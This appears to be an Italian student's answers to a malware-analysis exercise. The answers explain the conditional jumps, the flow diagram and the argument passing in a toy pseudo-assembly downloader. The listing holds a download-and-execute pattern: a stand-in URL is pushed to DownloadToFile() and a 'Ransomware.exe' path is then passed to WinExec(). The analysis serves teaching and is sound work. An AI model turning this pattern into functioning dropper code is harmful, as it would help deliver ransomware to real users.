



Analisi Malware Assembly

Mi e stato chiesto di analizzare un malware tramite il seguente codice assembly:

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

1. Spiegate, motivando, quale **salto condizionale** effettua il Malware.

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

I salto in questione è di tipo jz, ovvero "**jump short if zero**". In pratica, se il confronto nella riga precedente produce come risultato 0, allora il flag zero (ZF) sarà impostato su 1 e il salto avverrà.

Nel nostro caso, dato che EBX è pari a 11 e gli viene sottratto il numero 11, il risultato sarà 0, attivando il flag zero.


2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea **verde** i salti effettuati, mentre con una linea **rossa** i salti non effettuati.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione



3. Quali sono le diverse funzionalità implementate all'interno del Malware?

Analizzando il codice assembly, si evidenzia che il software dannoso in questione è un downloader, un programma progettato per recuperare da Internet un file malevolo e successivamente eseguirlo. Questa deduzione è supportata dal fatto che vengono richiamate le funzioni `DownloadToFile()` e `WinExec()`.

Il malware, infatti, prova inizialmente a scaricare un file da un URL attraverso la prima funzione e poi tenta di eseguirlo utilizzando la seconda. Si può ragionevolmente ipotizzare che il primo salto condizionale rappresenti un controllo nel codice per verificare se il file è già stato scaricato o meno.

4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione



Documentazione Ufficiale

Osservando il codice e la documentazione sul sito Microsoft, si può notare che il parametro passato alla funzione è l'URL del sito da cui scaricare il file malevolo. Questo parametro viene inserito nel registro EAX e all'interno della funzione è denominato szURL. È di tipo LPCTSTR, un puntatore a una stringa che contiene il valore passato. Se il download avrà successo, il valore di ritorno sarà S_OK; altrimenti, verrà restituito un codice di errore.

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione



Documentazione Ufficiale

Nel codice sopra riportato, è evidente che il percorso al file eseguibile viene inserito nel registro EDX e poi pushato all'interno dello stack prima di essere passato alla funzione.

Dalla documentazione di Microsoft apprendiamo che il parametro corrispondente, lpCmdLine, è di tipo LPCSTR, un puntatore a una stringa che contiene il percorso del file malevolo. La funzione eseguirà quindi il file utilizzando tale parametro e, in caso di successo, restituirà un valore superiore a 31; altrimenti, verrà restituito un codice di errore.